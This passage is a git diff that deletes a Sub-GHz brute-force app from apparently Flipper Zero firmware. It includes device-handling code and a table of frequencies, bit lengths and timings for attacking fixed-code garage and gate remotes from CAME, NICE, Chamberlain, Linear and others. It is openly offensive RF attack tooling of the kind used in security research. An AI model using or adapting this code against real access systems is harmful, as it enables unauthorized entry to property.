subbrute_device_free(instance->device); - subghz_devices_deinit(); - - //subbrute_settings_save(instance->settings); - subbrute_settings_free(instance->settings); - - // Notifications - notification_message(instance->notifications, &sequence_blink_stop); - furi_record_close(RECORD_NOTIFICATION); - instance->notifications = NULL; - - // View Main - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewMain); - subbrute_main_view_free(instance->view_main); - - // View Attack - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewAttack); - subbrute_attack_view_free(instance->view_attack); - - // TextInput - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewTextInput); - text_input_free(instance->text_input); - - // Custom Widget - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewWidget); - widget_free(instance->widget); - - // VarList - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewVarList); - variable_item_list_free(instance->var_list); - - // Popup - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewPopup); - popup_free(instance->popup); - - // ViewStack - view_dispatcher_remove_view(instance->view_dispatcher, SubBruteViewStack); - view_stack_free(instance->view_stack); - - //Dialog - furi_record_close(RECORD_DIALOGS); - instance->dialogs = NULL; - - // Scene manager - scene_manager_free(instance->scene_manager); - - // View Dispatcher - view_dispatcher_free(instance->view_dispatcher); - - // GUI - furi_record_close(RECORD_GUI); - instance->gui = NULL; - - furi_string_free(instance->file_path); - - // The rest - free(instance); -} - -void subbrute_text_input_callback(void* context) { - furi_assert(context); - SubBruteState* instance = context; - view_dispatcher_send_custom_event( - instance->view_dispatcher, SubBruteCustomEventTypeTextEditDone); -} - -void subbrute_popup_closed_callback(void* context) { - furi_assert(context); - SubBruteState* instance = context; - view_dispatcher_send_custom_event( - instance->view_dispatcher, SubBruteCustomEventTypePopupClosed); -} - -// ENTRYPOINT -int32_t subbrute_app(void* p) { - UNUSED(p); - furi_hal_power_suppress_charge_enter(); - - SubBruteState* instance = subbrute_alloc(); - view_dispatcher_attach_to_gui( - instance->view_dispatcher, instance->gui, ViewDispatcherTypeFullscreen); - scene_manager_next_scene(instance->scene_manager, SubBruteSceneStart); - - notification_message(instance->notifications, &sequence_display_backlight_on); - view_dispatcher_run(instance->view_dispatcher); - - subbrute_free(instance); - - furi_hal_power_suppress_charge_exit(); - return 0; -} diff --git a/applications/external/subghz_bruteforcer/subbrute.h b/applications/external/subghz_bruteforcer/subbrute.h deleted file mode 100644 index 5fedb9158..000000000 --- a/applications/external/subghz_bruteforcer/subbrute.h +++ /dev/null @@ -1,3 +0,0 @@ -#pragma once - -typedef struct SubBruteState SubBruteState; \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_10px.png b/applications/external/subghz_bruteforcer/subbrute_10px.png deleted file mode 100644 index 57d6f6a45..000000000 Binary files a/applications/external/subghz_bruteforcer/subbrute_10px.png and /dev/null differ diff --git a/applications/external/subghz_bruteforcer/subbrute_custom_event.h b/applications/external/subghz_bruteforcer/subbrute_custom_event.h deleted file mode 100644 index 4e0c1214d..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_custom_event.h +++ /dev/null @@ -1,27 +0,0 @@ -#pragma once - -typedef enum { - // Reserve first 100 events for button types and indexes, starting from 0 - SubBruteCustomEventTypeReserved = 100, - - SubBruteCustomEventTypeBackPressed, - SubBruteCustomEventTypeIndexSelected, - SubBruteCustomEventTypeTransmitStarted, - SubBruteCustomEventTypeError, - SubBruteCustomEventTypeTransmitFinished, - SubBruteCustomEventTypeTransmitNotStarted, - SubBruteCustomEventTypeTransmitCustom, - SubBruteCustomEventTypeSaveFile, - SubBruteCustomEventTypeExtraSettings, - SubBruteCustomEventTypeUpdateView, - SubBruteCustomEventTypeChangeStepUp, - SubBruteCustomEventTypeChangeStepDown, - SubBruteCustomEventTypeChangeStepUpMore, - SubBruteCustomEventTypeChangeStepDownMore, - - SubBruteCustomEventTypeMenuSelected, - SubBruteCustomEventTypeTextEditDone, - SubBruteCustomEventTypePopupClosed, - - SubBruteCustomEventTypeLoadFile, -} SubBruteCustomEvent; \ No newline at end of file diff --git a/applications/external/subghz_bruteforcer/subbrute_device.c b/applications/external/subghz_bruteforcer/subbrute_device.c deleted file mode 100644 index d39624d6b..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_device.c +++ /dev/null @@ -1,469 +0,0 @@ -#include "subbrute_device.h" - -#include -#include -#include - -#define TAG "SubBruteDevice" - -SubBruteDevice* subbrute_device_alloc(const SubGhzDevice* radio_device) { - SubBruteDevice* instance = malloc(sizeof(SubBruteDevice)); - - instance->current_step = 0; - - instance->protocol_info = NULL; - instance->file_protocol_info = NULL; - instance->decoder_result = NULL; - instance->receiver = NULL; - instance->environment = subghz_environment_alloc(); - subghz_environment_set_protocol_registry( - instance->environment, (void*)&subghz_protocol_registry); - - instance->radio_device = radio_device; - - //#ifdef FURI_DEBUG - // subbrute_device_attack_set_default_values(instance, SubBruteAttackLoadFile); - //#else - subbrute_device_attack_set_default_values(instance, SubBruteAttackCAME12bit433); - //#endif - return instance; -} - -void subbrute_device_free(SubBruteDevice* instance) { - furi_assert(instance); - - // I don't know how to free this - instance->decoder_result = NULL; - - if(instance->receiver != NULL) { - subghz_receiver_free(instance->receiver); - instance->receiver = NULL; - } - - subghz_environment_free(instance->environment); - instance->environment = NULL; - - subbrute_device_free_protocol_info(instance); - - free(instance); -} - -uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step) { - if(step > 0) { - if((instance->current_step + step) - instance->max_value == 1) { - instance->current_step = 0x00; - } else { - uint64_t value = instance->current_step + step; - if(value == instance->max_value) { - instance->current_step = value; - } else { - instance->current_step = value % instance->max_value; - } - } - } else { - if(instance->current_step + step == 0) { - instance->current_step = 0x00; - } else if(instance->current_step == 0) { - instance->current_step = instance->max_value; - } else { - uint64_t value = ((instance->current_step + step) + instance->max_value); - if(value == instance->max_value) { - instance->current_step = value; - } else { - instance->current_step = value % instance->max_value; - } - } - } - - return instance->current_step; -} - -bool subbrute_device_save_file(SubBruteDevice* instance, const char* dev_file_name) { - furi_assert(instance); - -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_device_save_file: %s", dev_file_name); -#endif - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* file = flipper_format_file_alloc(storage); - bool result = false; - do { - if(!flipper_format_file_open_always(file, dev_file_name)) { - FURI_LOG_E(TAG, "Failed to open file: %s", dev_file_name); - break; - } - Stream* stream = flipper_format_get_raw_stream(file); - if(instance->attack == SubBruteAttackLoadFile) { - subbrute_protocol_file_generate_file( - stream, - instance->file_protocol_info->frequency, - instance->file_protocol_info->preset, - instance->file_protocol_info->file, - instance->current_step, - instance->file_protocol_info->bits, - instance->file_protocol_info->te, - instance->bit_index, - instance->key_from_file, - instance->two_bytes); - } else { - subbrute_protocol_default_generate_file( - stream, - instance->protocol_info->frequency, - instance->protocol_info->preset, - instance->protocol_info->file, - instance->current_step, - instance->protocol_info->bits, - instance->protocol_info->te); - } - - result = true; - } while(false); - - if(!result) { - FURI_LOG_E(TAG, "subbrute_device_save_file failed!"); - } - - flipper_format_file_close(file); - flipper_format_free(file); - furi_record_close(RECORD_STORAGE); - - return result; -} - -SubBruteFileResult subbrute_device_attack_set( - SubBruteDevice* instance, - SubBruteAttacks type, - uint8_t extra_repeats) { - furi_assert(instance); -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_device_attack_set: %d, extra_repeats: %d", type, extra_repeats); -#endif - subbrute_device_attack_set_default_values(instance, type); - - if(type != SubBruteAttackLoadFile) { - subbrute_device_free_protocol_info(instance); - instance->protocol_info = subbrute_protocol(type); - } - - instance->extra_repeats = extra_repeats; - - // For non-file types we didn't set SubGhzProtocolDecoderBase - instance->receiver = subghz_receiver_alloc_init(instance->environment); - subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); - // furi_hal_subghz_reset(); // TODO Is this necessary? - - uint8_t protocol_check_result = SubBruteFileResultProtocolNotFound; -#ifdef FURI_DEBUG - uint8_t bits; - uint32_t te; - uint8_t repeat; - FuriHalSubGhzPreset preset; - SubBruteFileProtocol file; -#endif - if(type != SubBruteAttackLoadFile) { - instance->decoder_result = subghz_receiver_search_decoder_base_by_name( - instance->receiver, subbrute_protocol_file(instance->protocol_info->file)); - - if(!instance->decoder_result || - instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { - FURI_LOG_E(TAG, "Can't load SubGhzProtocolDecoderBase in phase non-file decoder set"); - } else { - protocol_check_result = SubBruteFileResultOk; - - // Calc max value - instance->max_value = subbrute_protocol_calc_max_value( - instance->attack, instance->protocol_info->bits, instance->two_bytes); - } -#ifdef FURI_DEBUG - bits = instance->protocol_info->bits; - te = instance->protocol_info->te; - repeat = instance->protocol_info->repeat + instance->extra_repeats; - preset = instance->protocol_info->preset; - file = instance->protocol_info->file; -#endif - } else { - // And here we need to set preset enum - protocol_check_result = SubBruteFileResultOk; - - // Calc max value - instance->max_value = subbrute_protocol_calc_max_value( - instance->attack, instance->file_protocol_info->bits, instance->two_bytes); -#ifdef FURI_DEBUG - bits = instance->file_protocol_info->bits; - te = instance->file_protocol_info->te; - repeat = instance->file_protocol_info->repeat + instance->extra_repeats; - preset = instance->file_protocol_info->preset; - file = instance->file_protocol_info->file; -#endif - } - - subghz_receiver_free(instance->receiver); - instance->receiver = NULL; - - if(protocol_check_result != SubBruteFileResultOk) { - return SubBruteFileResultProtocolNotFound; - } - -#ifdef FURI_DEBUG - FURI_LOG_I( - TAG, - "subbrute_device_attack_set: %s, bits: %d, preset: %s, file: %s, te: %ld, repeat: %d, max_value: %lld", - subbrute_protocol_name(instance->attack), - bits, - subbrute_protocol_preset(preset), - subbrute_protocol_file(file), - te, - repeat, - instance->max_value); -#endif - - return SubBruteFileResultOk; -} - -uint8_t subbrute_device_load_from_file(SubBruteDevice* instance, const char* file_path) { - furi_assert(instance); -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_device_load_from_file: %s", file_path); -#endif - SubBruteFileResult result = SubBruteFileResultUnknown; - - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* fff_data_file = flipper_format_file_alloc(storage); - - subbrute_device_free_protocol_info(instance); - instance->file_protocol_info = malloc(sizeof(SubBruteProtocol)); - - FuriString* temp_str; - temp_str = furi_string_alloc(); - uint32_t temp_data32; - - instance->receiver = subghz_receiver_alloc_init(instance->environment); - subghz_receiver_set_filter(instance->receiver, SubGhzProtocolFlag_Decodable); - // furi_hal_subghz_reset(); // TODO Is this necessary? - - do { - if(!flipper_format_file_open_existing(fff_data_file, file_path)) { - FURI_LOG_E(TAG, "Error open file %s", file_path); - result = SubBruteFileResultErrorOpenFile; - break; - } - if(!flipper_format_read_header(fff_data_file, temp_str, &temp_data32)) { - FURI_LOG_E(TAG, "Missing or incorrect header"); - result = SubBruteFileResultMissingOrIncorrectHeader; - break; - } - - // Frequency - if(!flipper_format_read_uint32(fff_data_file, "Frequency", &temp_data32, 1)) { - FURI_LOG_E(TAG, "Missing or incorrect Frequency"); - result = SubBruteFileResultMissingOrIncorrectFrequency; - break; - } - - if(!subghz_devices_is_frequency_valid(instance->radio_device, temp_data32)) { - FURI_LOG_E(TAG, "Unsupported radio device frequency"); - result = SubBruteFileResultMissingOrIncorrectFrequency; - break; - } - - instance->file_protocol_info->frequency = - subghz_devices_set_frequency(instance->radio_device, temp_data32); - - if(!subghz_devices_set_tx(instance->radio_device)) { - subghz_devices_idle(instance->radio_device); - result = SubBruteFileResultFrequencyNotAllowed; - break; - } - subghz_devices_idle(instance->radio_device); - - // Preset - if(!flipper_format_read_string(fff_data_file, "Preset", temp_str)) { - FURI_LOG_E(TAG, "Preset FAIL"); - result = SubBruteFileResultPresetInvalid; - break; - } - instance->file_protocol_info->preset = subbrute_protocol_convert_preset(temp_str); - - const char* protocol_file = NULL; - // Protocol - if(!flipper_format_read_string(fff_data_file, "Protocol", temp_str)) { - FURI_LOG_E(TAG, "Missing Protocol"); - result = SubBruteFileResultMissingProtocol; - break; - } - instance->file_protocol_info->file = subbrute_protocol_file_protocol_name(temp_str); - protocol_file = subbrute_protocol_file(instance->file_protocol_info->file); -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Protocol: %s", protocol_file); -#endif - - instance->decoder_result = subghz_receiver_search_decoder_base_by_name( - instance->receiver, furi_string_get_cstr(temp_str)); - - if((!instance->decoder_result) || (strcmp(protocol_file, "RAW") == 0) || - (strcmp(protocol_file, "Unknown") == 0)) { - FURI_LOG_E(TAG, "Protocol unsupported"); - result = SubBruteFileResultProtocolNotSupported; - break; - } - - if(instance->decoder_result->protocol->type == SubGhzProtocolTypeDynamic) { - FURI_LOG_E(TAG, "Protocol is dynamic - not supported"); - result = SubBruteFileResultDynamicProtocolNotValid; - break; - } -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Decoder: %s", instance->decoder_result->protocol->name); -#endif - - // Bit - if(!flipper_format_read_uint32(fff_data_file, "Bit", &temp_data32, 1)) { - FURI_LOG_E(TAG, "Missing or incorrect Bit"); - result = SubBruteFileResultMissingOrIncorrectBit; - break; - } - instance->file_protocol_info->bits = temp_data32; -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Bit: %d", instance->file_protocol_info->bits); -#endif - - uint8_t key_data[sizeof(uint64_t)] = {0}; - if(!flipper_format_read_hex(fff_data_file, "Key", key_data, sizeof(uint64_t))) { - FURI_LOG_E(TAG, "Missing Key"); - result = SubBruteFileResultMissingOrIncorrectKey; - break; - } - uint64_t data = 0; - for(uint8_t i = 0; i < sizeof(uint64_t); i++) { - data = (data << 8) | key_data[i]; - } -#if FURI_DEBUG - FURI_LOG_D(TAG, "Key: %.16llX", data); -#endif - instance->key_from_file = data; - - // TE - if(!flipper_format_read_uint32(fff_data_file, "TE", &temp_data32, 1)) { - FURI_LOG_E(TAG, "Missing or incorrect TE"); - //result = SubBruteFileResultMissingOrIncorrectTe; - //break; - } else { - instance->file_protocol_info->te = temp_data32 != 0 ? temp_data32 : 0; - } - - // Repeat - if(flipper_format_read_uint32(fff_data_file, "Repeat", &temp_data32, 1)) { -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Repeat: %ld", temp_data32); -#endif - instance->file_protocol_info->repeat = (uint8_t)temp_data32; - } else { -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Repeat: 3 (default)"); -#endif - instance->file_protocol_info->repeat = 3; - } - - result = SubBruteFileResultOk; - } while(0); - - furi_string_free(temp_str); - flipper_format_file_close(fff_data_file); - flipper_format_free(fff_data_file); - furi_record_close(RECORD_STORAGE); - - subghz_receiver_free(instance->receiver); - - instance->decoder_result = NULL; - instance->receiver = NULL; - - if(result == SubBruteFileResultOk) { -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "Loaded successfully"); -#endif - } else { - FURI_LOG_E(TAG, "Load failed!"); - subbrute_device_free_protocol_info(instance); - } - - return result; -} - -void subbrute_device_attack_set_default_values( - SubBruteDevice* instance, - SubBruteAttacks default_attack) { - furi_assert(instance); -#ifdef FURI_DEBUG - FURI_LOG_D(TAG, "subbrute_device_attack_set_default_values"); -#endif - instance->attack = default_attack; - instance->current_step = 0x00; - instance->bit_index = 0x00; - instance->extra_repeats = 0; - instance->two_bytes = false; - - if(default_attack != SubBruteAttackLoadFile) { - instance->max_value = subbrute_protocol_calc_max_value( - instance->attack, instance->bit_index, instance->two_bytes); - } -} - -const char* subbrute_device_error_get_desc(SubBruteFileResult error_id) { - const char* result; - switch(error_id) { - case(SubBruteFileResultOk): - result = "OK"; - break; - case(SubBruteFileResultErrorOpenFile): - result = "invalid name/path"; - break; - case(SubBruteFileResultMissingOrIncorrectHeader): - result = "Missing or incorrect header"; - break; - case(SubBruteFileResultFrequencyNotAllowed): - result = "Invalid frequency!"; - break; - case(SubBruteFileResultMissingOrIncorrectFrequency): - result = "Missing or incorrect Frequency"; - break; - case(SubBruteFileResultPresetInvalid): - result = "Preset FAIL"; - break; - case(SubBruteFileResultMissingProtocol): - result = "Missing Protocol"; - break; - case(SubBruteFileResultProtocolNotSupported): - result = "Protocol unsupported"; - break; - case(SubBruteFileResultDynamicProtocolNotValid): - result = "Dynamic protocol unsupported"; - break; - case(SubBruteFileResultProtocolNotFound): - result = "Protocol not found"; - break; - case(SubBruteFileResultMissingOrIncorrectBit): - result = "Missing or incorrect Bit"; - break; - case(SubBruteFileResultMissingOrIncorrectKey): - result = "Missing or incorrect Key"; - break; - case(SubBruteFileResultMissingOrIncorrectTe): - result = "Missing or incorrect TE"; - break; - case SubBruteFileResultUnknown: - default: - result = "Unknown error"; - break; - } - return result; -} - -void subbrute_device_free_protocol_info(SubBruteDevice* instance) { - furi_assert(instance); - instance->protocol_info = NULL; - if(instance->file_protocol_info) { - free(instance->file_protocol_info); - } - instance->file_protocol_info = NULL; -} diff --git a/applications/external/subghz_bruteforcer/subbrute_device.h b/applications/external/subghz_bruteforcer/subbrute_device.h deleted file mode 100644 index 8ee1e3324..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_device.h +++ /dev/null @@ -1,74 +0,0 @@ -#pragma once - -#include "subbrute_protocols.h" -#include -#include -#include -#include -#include "helpers/subbrute_radio_device_loader.h" - -#define SUBBRUTE_MAX_LEN_NAME 64 -#define SUBBRUTE_PATH EXT_PATH("subghz") -#define SUBBRUTE_FILE_EXT ".sub" - -typedef enum { - SubBruteFileResultUnknown, - SubBruteFileResultOk, - SubBruteFileResultErrorOpenFile, - SubBruteFileResultMissingOrIncorrectHeader, - SubBruteFileResultFrequencyNotAllowed, - SubBruteFileResultMissingOrIncorrectFrequency, - SubBruteFileResultPresetInvalid, - SubBruteFileResultMissingProtocol, - SubBruteFileResultProtocolNotSupported, - SubBruteFileResultDynamicProtocolNotValid, - SubBruteFileResultProtocolNotFound, - SubBruteFileResultMissingOrIncorrectBit, - SubBruteFileResultMissingOrIncorrectKey, - SubBruteFileResultMissingOrIncorrectTe, -} SubBruteFileResult; - -typedef struct { - const SubBruteProtocol* protocol_info; - SubBruteProtocol* file_protocol_info; - - // Current step - uint64_t current_step; - - // SubGhz - SubGhzReceiver* receiver; - SubGhzProtocolDecoderBase* decoder_result; - SubGhzEnvironment* environment; - const SubGhzDevice* radio_device; - - // Attack state - SubBruteAttacks attack; - uint64_t max_value; - uint8_t extra_repeats; - - // Loaded info for attack type - uint64_t key_from_file; - uint64_t current_key_from_file; - bool two_bytes; - - // Index of group to bruteforce in loaded file - uint8_t bit_index; -} SubBruteDevice; - -SubBruteDevice* subbrute_device_alloc(const SubGhzDevice* radio_device); -void subbrute_device_free(SubBruteDevice* instance); - -bool subbrute_device_save_file(SubBruteDevice* instance, const char* key_name); -const char* subbrute_device_error_get_desc(SubBruteFileResult error_id); -SubBruteFileResult subbrute_device_attack_set( - SubBruteDevice* context, - SubBruteAttacks type, - uint8_t extra_repeats); -uint8_t subbrute_device_load_from_file(SubBruteDevice* context, const char* file_path); - -uint64_t subbrute_device_add_step(SubBruteDevice* instance, int8_t step); - -void subbrute_device_free_protocol_info(SubBruteDevice* instance); -void subbrute_device_attack_set_default_values( - SubBruteDevice* context, - SubBruteAttacks default_attack); diff --git a/applications/external/subghz_bruteforcer/subbrute_i.h b/applications/external/subghz_bruteforcer/subbrute_i.h deleted file mode 100644 index 2478586ba..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_i.h +++ /dev/null @@ -1,88 +0,0 @@ -#pragma once - -#include -#include -#include - -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "subghz_bruteforcer_icons.h" -#include - -#include - -#include -#include - -#include "subbrute.h" -#include "subbrute_device.h" -#include "subbrute_settings.h" -#include "helpers/subbrute_worker.h" -#include "views/subbrute_attack_view.h" -#include "views/subbrute_main_view.h" - -#define SUBBRUTEFORCER_VER "Sub-GHz BruteForcer 3.9" - -#ifdef FURI_DEBUG -//#define SUBBRUTE_FAST_TRACK false -#endif - -typedef enum { - SubBruteViewNone, - SubBruteViewMain, - SubBruteViewAttack, - SubBruteViewTextInput, - SubBruteViewDialogEx, - SubBruteViewPopup, - SubBruteViewWidget, - SubBruteViewStack, - SubBruteViewVarList, -} SubBruteView; - -struct SubBruteState { - // GUI elements - NotificationApp* notifications; - Gui* gui; - ViewDispatcher* view_dispatcher; - ViewStack* view_stack; - TextInput* text_input; - Popup* popup; - Widget* widget; - VariableItemList* var_list; - DialogsApp* dialogs; - const SubGhzDevice* radio_device; - - // Text store - char text_store[SUBBRUTE_MAX_LEN_NAME]; - FuriString* file_path; - - // Views - SubBruteMainView* view_main; - SubBruteAttackView* view_attack; - SubBruteView current_view; - - // Scene - SceneManager* scene_manager; - - // SubBruteDevice - SubBruteDevice* device; - // SubBruteWorker - SubBruteWorker* worker; - // Last used settings - SubBruteSettings* settings; -}; - -void subbrute_show_loading_popup(void* context, bool show); -void subbrute_text_input_callback(void* context); -void subbrute_popup_closed_callback(void* context); diff --git a/applications/external/subghz_bruteforcer/subbrute_protocols.c b/applications/external/subghz_bruteforcer/subbrute_protocols.c deleted file mode 100644 index 4956d3e4c..000000000 --- a/applications/external/subghz_bruteforcer/subbrute_protocols.c +++ /dev/null @@ -1,875 +0,0 @@ -#include "subbrute_protocols.h" -#include "math.h" - -#define TAG "SubBruteProtocols" - -/** - * CAME 12bit 303MHz - */ -const SubBruteProtocol subbrute_protocol_came_12bit_303 = { - .frequency = 303875000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = CAMEFileProtocol}; - -/** - * CAME 12bit 307MHz - */ -const SubBruteProtocol subbrute_protocol_came_12bit_307 = { - .frequency = 307800000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = CAMEFileProtocol}; - -/** - * CAME 12bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_came_12bit_315 = { - .frequency = 315000000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = CAMEFileProtocol}; - -/** - * CAME 12bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_came_12bit_433 = { - .frequency = 433920000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = CAMEFileProtocol}; - -/** - * CAME 12bit 868MHz - */ -const SubBruteProtocol subbrute_protocol_came_12bit_868 = { - .frequency = 868350000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = CAMEFileProtocol}; - -/** - * NICE 12bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_nice_12bit_433 = { - .frequency = 433920000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = NICEFileProtocol}; - -/** - * NICE 12bit 868MHz - */ -const SubBruteProtocol subbrute_protocol_nice_12bit_868 = { - .frequency = 868350000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = NICEFileProtocol}; - -/** - * Ansonic 12bit 433.075MHz - */ -const SubBruteProtocol subbrute_protocol_ansonic_12bit_433075 = { - .frequency = 433075000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPreset2FSKDev238Async, - .file = AnsonicFileProtocol}; - -/** - * Ansonic 12bit 433.92MHz - */ -const SubBruteProtocol subbrute_protocol_ansonic_12bit_433 = { - .frequency = 433920000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPreset2FSKDev238Async, - .file = AnsonicFileProtocol}; - -/** - * Ansonic 12bit 434.075MHz - */ -const SubBruteProtocol subbrute_protocol_ansonic_12bit_434 = { - .frequency = 434075000, - .bits = 12, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPreset2FSKDev238Async, - .file = AnsonicFileProtocol}; - -/** - * Chamberlain 9bit 300MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_9bit_300 = { - .frequency = 300000000, - .bits = 9, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 9bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_9bit_315 = { - .frequency = 315000000, - .bits = 9, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 9bit 390MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_9bit_390 = { - .frequency = 390000000, - .bits = 9, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 9bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_9bit_433 = { - .frequency = 433920000, - .bits = 9, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 8bit 300MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_8bit_300 = { - .frequency = 300000000, - .bits = 8, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 8bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_8bit_315 = { - .frequency = 315000000, - .bits = 8, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 8bit 390MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_8bit_390 = { - .frequency = 390000000, - .bits = 8, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 7bit 300MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_7bit_300 = { - .frequency = 300000000, - .bits = 7, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 7bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_7bit_315 = { - .frequency = 315000000, - .bits = 7, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Chamberlain 7bit 390MHz - */ -const SubBruteProtocol subbrute_protocol_chamberlain_7bit_390 = { - .frequency = 390000000, - .bits = 7, - .te = 0, - .repeat = 3, - .preset = FuriHalSubGhzPresetOok650Async, - .file = ChamberlainFileProtocol}; - -/** - * Linear 10bit 300MHz - */ -const SubBruteProtocol subbrute_protocol_linear_10bit_300 = { - .frequency = 300000000, - .bits = 10, - .te = 0, - .repeat = 5, - .preset = FuriHalSubGhzPresetOok650Async, - .file = LinearFileProtocol}; - -/** - * Linear 10bit 310MHz - */ -const SubBruteProtocol subbrute_protocol_linear_10bit_310 = { - .frequency = 310000000, - .bits = 10, - .te = 0, - .repeat = 5, - .preset = FuriHalSubGhzPresetOok650Async, - .file = LinearFileProtocol}; - -/** - * Linear Delta 3 8bit 310MHz - */ -const SubBruteProtocol subbrute_protocol_linear_delta_8bit_310 = { - .frequency = 310000000, - .bits = 8, - .te = 0, - .repeat = 5, - .preset = FuriHalSubGhzPresetOok650Async, - .file = LinearDeltaFileProtocol}; - -/** - * UNILARM 24bit 330MHz - */ -const SubBruteProtocol subbrute_protocol_unilarm_24bit_330 = { - .frequency = 330000000, - .bits = 25, - .te = 209, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = UNILARMFileProtocol}; - -/** - * UNILARM 24bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_unilarm_24bit_433 = { - .frequency = 433920000, - .bits = 25, - .te = 209, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = UNILARMFileProtocol}; - -/** - * SMC5326 24bit 330MHz - */ -const SubBruteProtocol subbrute_protocol_smc5326_24bit_330 = { - .frequency = 330000000, - .bits = 25, - .te = 320, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = SMC5326FileProtocol}; - -/** - * SMC5326 24bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_smc5326_24bit_433 = { - .frequency = 433920000, - .bits = 25, - .te = 320, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = SMC5326FileProtocol}; - -/** - * PT2260 (Princeton) 24bit 315MHz - */ -const SubBruteProtocol subbrute_protocol_pt2260_24bit_315 = { - .frequency = 315000000, - .bits = 24, - .te = 286, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = PT2260FileProtocol}; - -/** - * PT2260 (Princeton) 24bit 330MHz - */ -const SubBruteProtocol subbrute_protocol_pt2260_24bit_330 = { - .frequency = 330000000, - .bits = 24, - .te = 286, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = PT2260FileProtocol}; - -/** - * PT2260 (Princeton) 24bit 390MHz - */ -const SubBruteProtocol subbrute_protocol_pt2260_24bit_390 = { - .frequency = 390000000, - .bits = 24, - .te = 286, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = PT2260FileProtocol}; - -/** - * PT2260 (Princeton) 24bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_pt2260_24bit_433 = { - .frequency = 433920000, - .bits = 24, - .te = 286, - .repeat = 4, - .preset = FuriHalSubGhzPresetOok650Async, - .file = PT2260FileProtocol}; - -/** - * Holtek FM 12bit 433MHz - */ -const SubBruteProtocol subbrute_protocol_holtek_12bit_433 = { - .frequency = 433920000, - .bits = 12, - .te = 204, - .repeat = 4, - .preset = FuriHalSubGhzPreset2FSKDev476Async, - .file = HoltekFileProtocol}; - -/** - * Holtek AM 12bit 433MHz - */ -const 